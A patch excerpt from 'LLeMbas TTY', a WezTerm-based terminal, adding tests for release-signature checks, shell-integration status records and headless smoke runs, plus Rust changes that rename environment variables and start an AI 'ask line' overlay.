local_forge=(LLEMBAS_SETUP_FORGE="file://$work/forge" LLEMBAS_SETUP_API="file://$work/api" LLEMBAS_SETUP_PUBKEY="$(cut -d' ' -f1,2 "$work/key.pub")")
mkdir -p "$work/h1" "$work/h2" "$work/h3" "$work/h4"
out="$(run "$work/h1" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "an unsigned release is refused" "$out" "is not signed \(no SHA256SUMS.sig\)"
if [ ! -e "$work/h1/ran" ]; then ok "and its installer does not run"; else bad "an unsigned installer ran"; fi
ssh-keygen -Y sign -q -f "$work/other" -n lembas-release "$rel/SHA256SUMS"
out="$(run "$work/h2" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "a release signed with another key is refused" "$out" "not signed by the LLeMbas release key"
if [ ! -e "$work/h2/ran" ]; then ok "and its installer does not run"; else bad "an installer signed by another key ran"; fi
rm -f "$rel/SHA256SUMS.sig"
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
printf '\n# changed after signing\n' >>"$rel/get.sh"
out="$(run "$work/h3" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "an installer that does not match the signed sums is refused" "$out" "does not match its SHA256SUMS"
if [ ! -e "$work/h3/ran" ]; then ok "and does not run"; else bad "a changed installer ran"; fi
(cd "$rel" && sha256sum get.sh >SHA256SUMS) && rm -f "$rel/SHA256SUMS.sig"
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
out="$(run "$work/h4" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "a signed, matching release is installed" "$out" "LLeMbas CLI v9\.9\.9: signature good, installing"
expect "the stable channel takes the release, not the beta beside it" "$(cat "$work/h4/ran" 2>/dev/null)" "^ran with ref=v9\.9\.9$"
[ "$failed" -eq 0 ] && echo "setup: all passed"
exit "$failed"
+101
View File
@@ -0,0 +1,101 @@
#!/usr/bin/env bash
# The shell integration's command record (llembas/shell/llembas-tty.sh), in a real interactive
# bash and zsh on a terminal of their own (script(1): bash tells a command from an empty line
# only on a terminal): the file and the user variable, what counts as a command, and that
# nothing at all happens outside LLeMbas TTY.
#
# llembas/tests/shell-test.sh
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
failed=0
ok() { echo "ok $1"; }
bad() {
echo "FAIL $1"
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=shell::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"
failed=1
}
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
# run <name> <shell words…>: the lines on stdin are typed into that shell, in a home and a
# runtime directory of its own. Extra variables come through EXTRA (one VAR=value a word).
run() {
local name="$1"
shift
mkdir -p "$work/$name/run" "$work/$name/home"
# shellcheck disable=SC2086 # EXTRA and SHELL_DIR_OFF are words on purpose
# The lines are typed slowly enough for each prompt to be there first.
while IFS= read -r line || [ -n "$line" ]; do
printf '%s\n' "$line"
sleep 0.3
done | env -i PATH=/usr/bin:/bin TERM=xterm-256color HOME="$work/$name/home" XDG_RUNTIME_DIR="$work/$name/run" \
LLEMBAS_TTY_SHELL_DIR="$ROOT/assets/shell-integration" ${EXTRA-} ${SHELL_DIR_OFF-} \
script -qec "$*" /dev/null 2>&1 | cat -v
}
# field <name> <record text>: the value of one key of a record.
field() { printf '%s\n' "$2" | sed -n "s/^$1=//p" | head -n 1; }
# The records in what a shell printed (the user variable, decoded), one a line, each as
# "<seq> <state> <exit or -> <ran or ->".
records() {
printf '%s\n' "$1" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | while IFS= read -r v; do
text="$(printf '%s\n' "${v#SetUserVar=llembas_tty_status=}" | base64 -d)"
e="$(field exit "$text")"
r="$(field ran "$text")"
printf '%s %s %s %s\n' "$(field seq "$text")" "$(field state "$text")" "${e:--}" "${r:--}"
done
}
for shell in bash zsh; do
command -v "$shell" >/dev/null 2>&1 || { echo "skip $shell: not here"; continue; }
case "$shell" in
bash) words=(bash --norc --noprofile -i) ;;
*) words=(zsh -f -i +Z) ;;
esac
# A first prompt, a command that works, an empty line, one that fails with 3 and is all a
# subshell (which bash-preexec alone would not see).
script=". '$ROOT/llembas/shell/llembas-tty.sh'"$'\ntrue\n\n(exit 3)\nexit\n'
want='^1 prompt - -,1 running - -,2 prompt 0 1,3 prompt 0 -,3 running 0 -,4 prompt 3 1,4 running 3 -,$'
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-in" "${words[@]}")"
file="$work/$shell-in/run/llembas-tty/pane-7.status"
expect "$shell: a record at every prompt and when a command starts; an empty line ran nothing" "$(records "$out" | tr '\n' ',')" "$want"
text="$(cat "$file" 2>/dev/null)"
expect "$shell: the file starts with the format's line" "$(printf '%s\n' "$text" | head -n 1)" '^llembas-tty-status=1$'
expect "$shell: the file holds the last record (exit, as it was typed, started)" "$(field seq "$text") $(field state "$text") $(field exit "$text")" '^4 running 3$'
expect "$shell: the record names the shell, its process and its directory" "$(field shell "$text") $(field pid "$text") $(field id "$text") $(field cwd "$text") $(field time "$text")" "^$shell [0-9]+ [0-9]+\.[0-9]+ /.* [0-9]{9,}\$"
expect "$shell: the file is the person's alone" "$(stat -c %a "$file" 2>/dev/null)" '^600$'
expect "$shell: nothing is left beside the file" "$(cd "$work/$shell-in/run/llembas-tty" 2>/dev/null && find . -type f | sort | tr '\n' ' ')" '^\./pane-7\.status $'
expect "$shell: the exit status still reaches the prompt" "$(printf '%s' ". '$ROOT/llembas/shell/llembas-tty.sh'"$'\n(exit 5)\necho "status=$?"\nexit\n' | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-st" "${words[@]}")" 'status=5'
# The directory the terminal names is where the file goes; else the state directory.
mkdir -p "$work/$shell-dir/elsewhere"
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=12 LLEMBAS_TTY_STATUS_DIR=$work/$shell-dir/elsewhere" run "$shell-dir" "${words[@]}" >/dev/null
expect "$shell: in LLEMBAS_TTY_STATUS_DIR" "$(field seq "$(cat "$work/$shell-dir/elsewhere/pane-12.status" 2>/dev/null)")" '^4$'
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=3 XDG_RUNTIME_DIR= XDG_STATE_HOME=$work/$shell-state/state" run "$shell-state" "${words[@]}" >/dev/null
expect "$shell: with no runtime directory, in the state directory" "$(field seq "$(cat "$work/$shell-state/state/llembas-tty/pane-3.status" 2>/dev/null)")" '^4$'
# A pane id that is not a number names no file; the variable is still set.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=../x" run "$shell-bad" "${words[@]}")"
expect "$shell: a pane id that is not a number writes no file" "$(find "$work/$shell-bad/run" -type f | wc -l)" '^0$'
expect "$shell: and the variable is still set" "$(records "$out" | tr '\n' ',')" "$want"
# Over SSH the file would be on the wrong machine: the variable alone, naming the machine.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 SSH_CONNECTION=x HOSTNAME=workstation HOST=workstation" run "$shell-ssh" "${words[@]}")"
one="$(printf '%s\n' "$out" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | head -n 1 | sed 's/.*=llembas_tty_status=//' | base64 -d)"
expect "$shell: over SSH no file is written" "$(find "$work/$shell-ssh/run" -type f | wc -l)" '^0$'
expect "$shell: over SSH the record names the machine and no process" "host=$(field host "$one") pid=$(field pid "$one")" '^host=workstation pid=$'
# Without WezTerm's script (no command marks at all), the record is still kept.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" SHELL_DIR_OFF="LLEMBAS_TTY_SHELL_DIR=$work/nowhere" run "$shell-alone" "${words[@]}")"
expect "$shell: kept without the command marks too" "$(records "$out" | tr '\n' ',')" "$want"
# Turned off, and outside LLeMbas TTY: nothing.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 LLEMBAS_TTY_SKIP_STATUS=1" run "$shell-off" "${words[@]}")"
expect "$shell: LLEMBAS_TTY_SKIP_STATUS=1 turns it off" "$(records "$out" | wc -l) $(find "$work/$shell-off/run" -type f | wc -l)" '^0 0$'
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY_PANE=7" run "$shell-out" "${words[@]}")"
expect "$shell: outside LLeMbas TTY nothing is written and nothing is printed" "$(printf '%s' "$out" | grep -c 'SetUserVar\|133;') $(find "$work/$shell-out/run" -type f | wc -l)" '^0 0$'
done
[ "$failed" -eq 0 ] && echo "shell: all passed"
exit "$failed"
+161
View File
@@ -0,0 +1,161 @@
#!/usr/bin/env bash
# Smoke test of built binaries, with no display: the identity (names, directories, variables),
# the built-in LLeMbas layer, and the `cli` commands the LLeMbas CLI drives a pane with.
#
# llembas/tests/smoke.sh <dir with llembas-tty, llembas-tty-mux-server>
#
# Starts a headless mux server in a scratch HOME, talks to it, and stops it. Nothing of the
# person's own is read or written. CI runs it on what it has just built.
set -uo pipefail
BIN="$(cd "${1:?usage: smoke.sh <dir with the binaries>}" && pwd)"
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
TTY="${SMOKE_TTY:-$BIN/llembas-tty}"
MUX="${SMOKE_MUX:-$BIN/llembas-tty-mux-server}"
# The names under test; SMOKE_PREFIX=WEZTERM runs the same steps against upstream's binaries.
P="${SMOKE_PREFIX:-LLEMBAS_TTY}"
APPDIR="${SMOKE_APPDIR:-llembas-tty}"
work="$(mktemp -d)"
pid=""
failed=0
# shellcheck disable=SC2317 # reached through the trap
cleanup() {
if [ -n "$pid" ]; then kill "$pid" 2>/dev/null; wait "$pid" 2>/dev/null; fi
rm -rf "${work:?}"
}
trap cleanup EXIT
mkdir -p "$work/home" "$work/run" "$work/cfg"
chmod 700 "$work/run"
clean() { env -i PATH=/usr/bin:/bin HOME="$work/home" XDG_RUNTIME_DIR="$work/run" XDG_CONFIG_HOME="$work/cfg" "$@"; }
ok() { echo "ok $1"; }
# On GitHub a failure is also an annotation on the run: a line, with newlines made visible.
note() { [ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=smoke::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"; }
bad() { echo "FAIL $1"; note "$1"; failed=1; }
expect() { # name, text, pattern
if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi
}
version="$(tr -d '[:space:]' < "$ROOT/VERSION")"
if [ "$P" = LLEMBAS_TTY ]; then
expect "--version names us and our version" "$(clean "$TTY" --version)" "^llembas-tty ${version//./\\.} \(based on WezTerm .+\)$"
expect "mux server --version" "$(clean "$MUX" --version)" "^llembas-tty-mux-server ${version//./\\.}"
fi
# A WezTerm that started us must not be passed on, nor talked to.
# (exec, so that the process id we keep is the server's own and stopping it stops the server)
(
exec env -i PATH=/usr/bin:/bin HOME="$work/home" XDG_RUNTIME_DIR="$work/run" XDG_CONFIG_HOME="$work/cfg" \
WEZTERM_PANE=77 WEZTERM_UNIX_SOCKET="$work/run/not-ours" WEZTERM_CONFIG_FILE="$work/nope.lua" \
"$MUX"
) > "$work/server.txt" 2>&1 &
pid=$!
sock="$work/run/$APPDIR/sock"
for _ in $(seq 40); do
[ -S "$sock" ] && break
kill -0 "$pid" 2>/dev/null || break
sleep 0.25
done
if [ -S "$sock" ]; then ok "the server listens in its own runtime directory ($APPDIR)"; else bad "no socket at $sock; the server said: $(tail -c 600 "$work/server.txt"); in the runtime directory: $(cd "$work/run" && find . | head -20 | tr '\n' ' ')"; cat "$work/server.txt"; exit 1; fi
cli() { clean "$TTY" cli --no-auto-start "$@"; }
# shellcheck disable=SC2016 # the pane's shell expands these, not this one
pane="$(cli spawn --new-window -- sh -c 'printf "%s\n" "id=[$'"$P"'_PANE]" "tty=[$LLEMBAS_TTY]" "exe=[$'"$P"'_EXECUTABLE]" "sock=[$'"$P"'_UNIX_SOCKET]" "term=[$TERM_PROGRAM]" "wez=[${WEZTERM_PANE-unset}/${WEZTERM_UNIX_SOCKET-unset}]"; exec cat')"
expect "cli spawn gives a pane id" "$pane" '^[0-9]+$'
sleep 1
# One value a line, and the lines joined again: a pane is 80 columns wide and wraps a long path,
# which is the pane's doing and not what is under test.
text="$(cli get-text --pane-id "$pane" | tr -d '\n')"
expect "the pane knows its own id" "$text" "id=\[$pane\]"
expect "TERM_PROGRAM stays WezTerm" "$text" 'term=\[WezTerm\]'
if [ "$P" = LLEMBAS_TTY ]; then
expect "LLEMBAS_TTY is our version" "$text" "tty=\[${version//./\\.}\]"
expect "LLEMBAS_TTY_EXECUTABLE is the launcher" "$text" "exe=\[$BIN/llembas-tty\]"
expect "the socket variable is ours" "$text" "sock=\[$sock\]"
expect "WezTerm's variables are not passed on" "$text" 'wez=\[unset/unset\]'
fi
# What the LLeMbas CLI's terminal tools do: type into a pane, read it back.
printf 'typed by the cli\n' | cli send-text --pane-id "$pane" --no-paste
sleep 0.5
expect "send-text --no-paste arrives, get-text reads it" "$(cli get-text --pane-id "$pane")" 'typed by the cli'
expect "cli list shows the pane" "$(cli list)" "(^|[^0-9])$pane([^0-9]|$)"
kill "$pid" 2>/dev/null; wait "$pid" 2>/dev/null
if kill -0 "$pid" 2>/dev/null; then bad "the server did not stop"; else ok "the server stops when told"; fi
pid=""
if [ "$P" = LLEMBAS_TTY ]; then
# The built-in configuration applied the layer: its keys are bound. And a person's own file
# in our own directory is the one read; --skip-config gives the plain terminal.
# (show-keys is the gui binary's; it needs its libraries but no display.)
if keys="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"; then
expect "built-in configuration binds the ask key" "$keys" "llembas-ask"
plain="$(clean "$TTY" --skip-config show-keys --lua 2>/dev/null)"
if printf '%s' "$plain" | grep -q llembas-ask; then bad "--skip-config still has the layer"; else ok "--skip-config is the plain terminal"; fi
mkdir -p "$work/cfg/llembas-tty"
cat > "$work/cfg/llembas-tty/llembas-tty.lua" <<'LUA'
local wezterm = require 'wezterm'
local config = wezterm.config_builder()
require('llembas').apply(config, { keys = { ask = { key = 'F9', mods = 'NONE' }, resume = false } })
return config
LUA
own="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
expect "a person's own file in our directory is read, and require 'llembas' works there" "$own" "F9"
# The terminal's own drawing part is there for the layer (wezterm.llembas), takes what the
# layer tells it, and the layer applied over it still binds its keys.
cat > "$work/cfg/llembas-tty/llembas-tty.lua" <<'LUA'
local wezterm = require 'wezterm'
local config = wezterm.config_builder()
local n = wezterm.llembas
local out = { 'module=' .. type(n) }
if type(n) == 'table' then
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'hint', 'status', 'complete_status', 'data_dir', 'set_private', 'command_ended', 'clear_history' } do
out[#out + 1] = name .. '=' .. type(n[name])
end
local ok, err = pcall(n.configure, {
suggestions = true, highlight = true, ai_complete = false, cli = '/opt/x/lembas', ac_model = 'local/fast',
ac_timeout_ms = 4000, ac_debug = true, input_mark = true, history = true, history_max = 10,
colors = { ghost = 8, command = '#00ff00', unknown = false },
})
out[#out + 1] = 'configure=' .. tostring(ok) .. (ok and '' or (' ' .. tostring(err)))
local ok2 = pcall(n.set_private, 3, true)
out[#out + 1] = 'set_private=' .. tostring(ok2)
-- a word that stands, set and taken away again; the autocomplete in words
local ok3, err3 = pcall(function()
n.hint(3, 'Enter runs', true, 4)
n.hint(3, nil)
-- where a pane's shell stands, and that it is no longer followed
n.status(3, '77.5', 4, 'prompt', wezterm.home_dir)
n.status(3, nil)
end)
out[#out + 1] = 'hint=' .. tostring(ok3) .. (ok3 and '' or (' ' .. tostring(err3)))
local ok4, status = pcall(n.complete_status)
status = ok4 and tostring(status) or ''
out[#out + 1] = 'status=' .. tostring(status:find('engine: /opt/x/lembas', 1, true) ~= nil
and status:find('model: local/fast', 1, true) ~= nil
and status:find('given 4000 ms', 1, true) ~= nil
and status:find('AI autocomplete (or AI) is off', 1, true) ~= nil
and status:find('the next request is given 20000 ms', 1, true) ~= nil
and status:find('not yet', 1, true) ~= nil)
local ok5, dir = pcall(n.data_dir)
out[#out + 1] = 'data_dir=' .. tostring(ok5 and type(dir) == 'string' and dir:sub(1, 1) == '/')
end
require('llembas').apply(config, { autocomplete = true })
local f = io.open(wezterm.home_dir .. '/native.txt', 'w')
f:write(table.concat(out, ' '))
f:close()
return config
LUA
native_keys="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
native="$(cat "$work/home/native.txt" 2>/dev/null)"
expect "wezterm.llembas is there, with every function the layer uses" "$native" '^module=table ask_line=function configure=function notice=function hint=function status=function complete_status=function data_dir=function set_private=function command_ended=function clear_history=function configure=true set_private=true hint=true status=true data_dir=true$'
expect "the layer applies over it" "$native_keys" "llembas-ask"
if [ -e "$work/home/.local/share/llembas-tty/command-history" ]; then bad "a command history was written though no command ran"; else ok "no command history is written before a command ran"; fi
else
bad "show-keys did not run: $(head -5 "$work/keys-err.txt")"
fi
fi
[ "$failed" -eq 0 ] && echo "smoke: all passed"
exit "$failed"
+5 -3
View File
@@ -476,10 +476,12 @@ impl LocalDomain {
if let Some(dir) = command_dir {
cmd.cwd(dir);
}
if let Ok(sock) = std::env::var("WEZTERM_UNIX_SOCKET") {
cmd.env("WEZTERM_UNIX_SOCKET", sock);
// LLeMbas TTY: its own variable names, so that neither this program
// nor a WezTerm running beside it talks to the other's panes.
if let Ok(sock) = std::env::var("LLEMBAS_TTY_UNIX_SOCKET") {
cmd.env("LLEMBAS_TTY_UNIX_SOCKET", sock);
}
cmd.env("WEZTERM_PANE", pane_id.to_string());
cmd.env("LLEMBAS_TTY_PANE", pane_id.to_string());
if let Some(agent) = Mux::get().agent.as_ref() {
cmd.env("SSH_AUTH_SOCK", agent.path());
}
+8
View File
@@ -32,6 +32,14 @@ while IFS= read -r -d '' f; do
added+=$'\n'$(awk -v f="$f" '{print f": "$0}' "$f")
done < <(git ls-files -z --others --exclude-standard)
# What is allowed to match, each for a reason — a line of `file: text` as built above:
allowed=(
# The package's maintainer address, as a .deb must carry one: the same that signs every commit.
'^llembas/packaging/package\.sh: Maintainer: LLeMbas <houmeres@houmeres\.sk>$'
)
allow="$(IFS='|'; echo "${allowed[*]}")"
added=$(printf '%s\n' "$added" | grep -vE -- "$allow" || true)
found=0
for pattern in "${patterns[@]}"; do
# grep: 0 = matched, 1 = no match, anything else is an error and must not read as "clean".
+33
View File
@@ -0,0 +1,33 @@
#!/usr/bin/env bash
# Run the tests of the LLeMbas layer (llembas/tests/run.lua) with whatever Lua is here:
# lua5.4 (what the terminal embeds), else lua, luajit, or Neovim's LuaJIT (`nvim -l`).
#
# scripts/test-lua.sh the first one found
# scripts/test-lua.sh --all every one found (CI: 5.4 and LuaJIT must agree)
# LUA="lua5.4" scripts/test-lua.sh
set -euo pipefail
cd "$(dirname "$0")/.."
tmp="$(mktemp -d)"
trap 'rm -rf "${tmp:?}"' EXIT
found=()
if [ -n "${LUA:-}" ]; then
found=("$LUA")
else
for c in lua5.4 lua luajit; do
command -v "$c" >/dev/null 2>&1 && found+=("$c")
done
command -v nvim >/dev/null 2>&1 && found+=("nvim -l")
fi
[ "${#found[@]}" -gt 0 ] || { echo "test-lua: no Lua here (lua5.4, lua, luajit or nvim)" >&2; exit 2; }
[ "${1:-}" = "--all" ] || found=("${found[0]}")
n=0
for lua in "${found[@]}"; do
echo "test-lua: $lua"
n=$((n + 1))
mkdir "$tmp/run$n"
# shellcheck disable=SC2086 # "nvim -l" is two words on purpose
LLEMBAS_TEST_TMP="$tmp/run$n" $lua llembas/tests/run.lua
done
+6 -4
View File
@@ -1223,7 +1223,9 @@ impl Client {
prefer_mux: bool,
class_name: &str,
) -> anyhow::Result<config::UnixDomain> {
match std::env::var_os("WEZTERM_UNIX_SOCKET") {
// LLeMbas TTY: its own variable names here and below; WezTerm's own
// are never read, so a WezTerm pane that starts us is not taken for ours.
match std::env::var_os("LLEMBAS_TTY_UNIX_SOCKET") {
Some(path) if !path.is_empty() => Ok(config::UnixDomain {
socket_path: Some(path.into()),
..Default::default()
@@ -1245,7 +1247,7 @@ impl Client {
.first()
.ok_or_else(|| {
anyhow!(
"no default unix domain is configured and WEZTERM_UNIX_SOCKET \
"no default unix domain is configured and LLEMBAS_TTY_UNIX_SOCKET \
is not set in the environment"
)
})?
@@ -1315,7 +1317,7 @@ impl Client {
let pane_id: PaneId = match pane_id {
Some(p) => p,
None => {
if let Ok(pane) = std::env::var("WEZTERM_PANE") {
if let Ok(pane) = std::env::var("LLEMBAS_TTY_PANE") {
pane.parse()?
} else {
let mut clients = self.list_clients().await?.clients;
@@ -1323,7 +1325,7 @@ impl Client {
clients.sort_by(|a, b| b.last_input.cmp(&a.last_input));
if clients.is_empty() {
anyhow::bail!(
"--pane-id was not specified and $WEZTERM_PANE
"--pane-id was not specified and $LLEMBAS_TTY_PANE
is not set in the environment, and I couldn't
determine which pane was currently focused"
);
+6 -5
View File
@@ -4,7 +4,8 @@ use config::{GuiPosition, SshParameters};
use std::ffi::OsString;
use std::path::PathBuf;
pub const DEFAULT_WINDOW_CLASS: &str = "org.wezfurlong.wezterm";
// LLeMbas TTY: its own window class / app id
pub const DEFAULT_WINDOW_CLASS: &str = "eu.llembas.tty";
/// Helper for parsing config overrides
pub fn name_equals_value(arg: &str) -> Result<(String, String), String> {
@@ -62,7 +63,7 @@ pub struct StartCommand {
pub _cmd: bool,
/// Override the default windowing system class.
/// The default is "org.wezfurlong.wezterm".
/// The default is "eu.llembas.tty".
/// Under X11 and Windows this changes the window class.
/// Under Wayland this changes the app_id.
/// This changes the class for all windows spawned by this
@@ -143,7 +144,7 @@ pub struct SshCommand {
pub verbose: bool,
/// Override the default windowing system class.
/// The default is "org.wezfurlong.wezterm".
/// The default is "eu.llembas.tty".
/// Under X11 and Windows this changes the window class.
/// Under Wayland this changes the app_id.
/// This changes the class for all windows spawned by this
@@ -175,7 +176,7 @@ pub struct SerialCommand {
pub baud: Option<usize>,
/// Override the default windowing system class.
/// The default is "org.wezfurlong.wezterm".
/// The default is "eu.llembas.tty".
/// Under X11 and Windows this changes the window class.
/// Under Wayland this changes the app_id.
/// This changes the class for all windows spawned by this
@@ -213,7 +214,7 @@ pub struct ConnectCommand {
pub new_tab: bool,
/// Override the default windowing system class.
/// The default is "org.wezfurlong.wezterm".
/// The default is "eu.llembas.tty".
/// Under X11 and Windows this changes the window class.
/// Under Wayland this changes the app_id.
/// This changes the class for all windows spawned by this
+8
View File
@@ -9,6 +9,12 @@ publish = false
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
# The package keeps upstream's name.
[[bin]]
name = "llembas-tty-gui"
path = "src/main.rs"
[features]
default = ["vendored-fonts", "wayland"]
wayland = ["window/wayland"]
@@ -59,6 +65,8 @@ image.workspace = true
lazy_static.workspace = true
lfucache.workspace = true
libc.workspace = true
# LLeMbas TTY: the logic of the ask line, suggestions and highlighting (llembas/line)
llembas-line = { path = "../llembas/line" }
log.workspace = true
luahelper.workspace = true
metrics.workspace = true
+458
View File
@@ -0,0 +1,458 @@
//! LLeMbas TTY: the ask line.
//!
//! The person presses the ask key at their prompt and the line they are on
//! becomes a line for a question to LLeMbas, in its place: the row of the
//! cursor shows `llembas <model> · <mode> › ` and what they type. Enter sends
//! the question (to the layer, as an event); Escape, or the key again, leaves
//! it. The shell's own line is as it was before: nothing typed here is ever
//! sent to the shell, and nothing is written to the pane.
//!
//! It is an overlay over the pane, as the terminal's own search and quick
//! select are (`overlay/quickselect.rs` is the model for this file): while it
//! is there the terminal gives the keys to it and draws the pane through it.
//! It draws the pane's own lines, with the one row replaced. The editing is
//! `llembas_line::editor`, which is where its tests are.
use super::state;
use crate::scripting::guiwin::GuiWin;
use crate::termwindow::TermWindow;
use config::keyassignment::ScrollbackEraseMode;
use llembas_line::editor::{self, Key, LineEditor, Outcome};
use mux::domain::DomainId;
use mux::pane::{CachePolicy, ForEachPaneLogicalLine, LogicalLine, Pane, PaneId, WithPaneLines};
use mux::renderable::*;
use mux::Mux;
use mux_lua::MuxPane;
use parking_lot::{MappedMutexGuard, Mutex, MutexGuard};
use rangeset::RangeSet;
use std::ops::Range;
use std::rc::Rc;
use std::sync::Arc;
use termwiz::cell::CellAttributes;
use termwiz::surface::{CursorShape, CursorVisibility, SequenceNo, SEQ_ZERO};
use url::Url;
use wezterm_term::color::ColorPalette;
use wezterm_term::{
Clipboard, Intensity, KeyCode, KeyModifiers, Line, MouseEvent, StableRowIndex, TerminalSize,
};
use window::WindowOps;
/// What the layer asks for.
pub struct AskArgs {
/// What stands before the question: the model and mode that will answer.
pub prefix: String,
/// The event the question comes back as.
pub event: String,
}
pub struct AskOverlay {
delegate: Arc<dyn Pane>,
state: Mutex<AskState>,
/// What is written to this pane goes nowhere: the shell under it gets
/// nothing while the ask line is there.
sink: Mutex<std::io::Sink>,
}
struct AskState {
editor: LineEditor,
prefix: String,
event: String,
window: ::window::Window,
gui_win: GuiWin,
/// Sent or left: further keys do nothing while the overlay goes away.
done: bool,
}
/// The columns a character takes.
fn char_width(c: char) -> usize {
let mut buf = [0u8; 4];
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
}
/// A key of the terminal as the editor knows it; `None` for a key that means
/// nothing on the ask line.
fn map_key(key: KeyCode, mods: KeyModifiers) -> Option<Key> {
let none = mods == KeyModifiers::NONE || mods == KeyModifiers::SHIFT;
let ctrl = mods == KeyModifiers::CTRL;
let alt = mods == KeyModifiers::ALT;
match key {
KeyCode::Char(c) if ctrl => match c.to_ascii_lowercase() {
'a' => Some(Key::Home),
'e' => Some(Key::End),
'b' => Some(Key::Left),
'f' => Some(Key::Right),
'h' => Some(Key::Backspace),
'd' => Some(Key::Delete),
'w' => Some(Key::DeleteWordLeft),
'u' => Some(Key::DeleteToStart),
'k' => Some(Key::DeleteToEnd),
'p' => Some(Key::Up),
'n' => Some(Key::Down),
'j' | 'm' => Some(Key::Enter),
'c' | 'g' => Some(Key::Cancel),
_ => None,
},
KeyCode::Char(c) if alt => match c.to_ascii_lowercase() {
'b' => Some(Key::WordLeft),
'f' => Some(Key::WordRight),
'd' => Some(Key::DeleteWordRight),
'\u{7f}' | '\u{8}' => Some(Key::DeleteWordLeft),
_ => None,
},
KeyCode::Char('\r') | KeyCode::Char('\n') if none => Some(Key::Enter),
KeyCode::Char('\u{1b}') => Some(Key::Cancel),
KeyCode::Char('\u{7f}') | KeyCode::Char('\u{8}') if none => Some(Key::Backspace),
KeyCode::Char(c) if none => Some(Key::Char(c)),
KeyCode::Enter if none => Some(Key::Enter),
KeyCode::Escape => Some(Key::Cancel),
KeyCode::Backspace if alt || ctrl => Some(Key::DeleteWordLeft),
KeyCode::Backspace => Some(Key::Backspace),
KeyCode::Delete if alt || ctrl => Some(Key::DeleteWordRight),
KeyCode::Delete => Some(Key::Delete),
KeyCode::LeftArrow if alt || ctrl => Some(Key::WordLeft),
KeyCode::LeftArrow => Some(Key::Left),
KeyCode::RightArrow if alt || ctrl => Some(Key::WordRight),
KeyCode::RightArrow => Some(Key::Right),
KeyCode::UpArrow => Some(Key::Up),
KeyCode::DownArrow => Some(Key::Down),
KeyCode::Home => Some(Key::Home),
KeyCode::End => Some(Key::End),
_ => None,
}
}
/// The ask key: turn the pane's line into the ask line, or back when it is
/// one already.
pub fn toggle(term_window: &mut TermWindow, pane_id: PaneId, args: AskArgs) {
let window = match term_window.window.clone() {
Some(window) => window,
None => return,
};
let existing = term_window
.pane_state(pane_id)
.overlay
.as_ref()
.map(|overlay| overlay.pane.clone());
if let Some(existing) = existing {
// The key again leaves the ask line. Another overlay (search, copy
// mode) keeps the pane: it was asked for first.
if existing.downcast_ref::<AskOverlay>().is_some() {
TermWindow::schedule_cancel_overlay_for_pane(window, pane_id);
}
return;
}
let pane = match Mux::get().get_pane(pane_id) {
Some(pane) => pane,
None => return,
};
// The line is drawn at the cursor: the pane shows its end, not its past.
let dims = pane.get_dimensions();
term_window.set_viewport(pane_id, None, dims);
let overlay: Arc<dyn Pane> = Arc::new(AskOverlay {
delegate: pane,
state: Mutex::new(AskState {
editor: LineEditor::new(&state::questions()),
prefix: args.prefix,
event: args.event,
window: window.clone(),
gui_win: GuiWin::new(term_window),
done: false,
}),
sink: Mutex::new(std::io::sink()),
});
term_window.assign_overlay_for_pane(pane_id, overlay);
window.invalidate();
}
/// Hand the question to the layer: the event, with the window, the pane and
/// the line, as a one-line prompt of the terminal hands its line over
/// (`overlay/prompt.rs`).
fn emit(name: String, window: GuiWin, pane: MuxPane, line: String) {
async fn do_event(
lua: Option<Rc<mlua::Lua>>,
name: String,
window: GuiWin,
pane: MuxPane,
line: String,
) -> anyhow::Result<()> {
if let Some(lua) = lua {
let args = lua.pack_multi((window, pane, line))?;
if let Err(err) = config::lua::emit_event(&lua, (name.clone(), args)).await {
log::error!("while processing {} event: {:#}", name, err);
}
}
Ok(())
}
promise::spawn::spawn(async move {
config::with_lua_config_on_main_thread(move |lua| do_event(lua, name, window, pane, line))
.await
})
.detach();
}
impl AskState {
fn close(&mut self, pane_id: PaneId) {
self.done = true;
TermWindow::schedule_cancel_overlay_for_pane(self.window.clone(), pane_id);
}
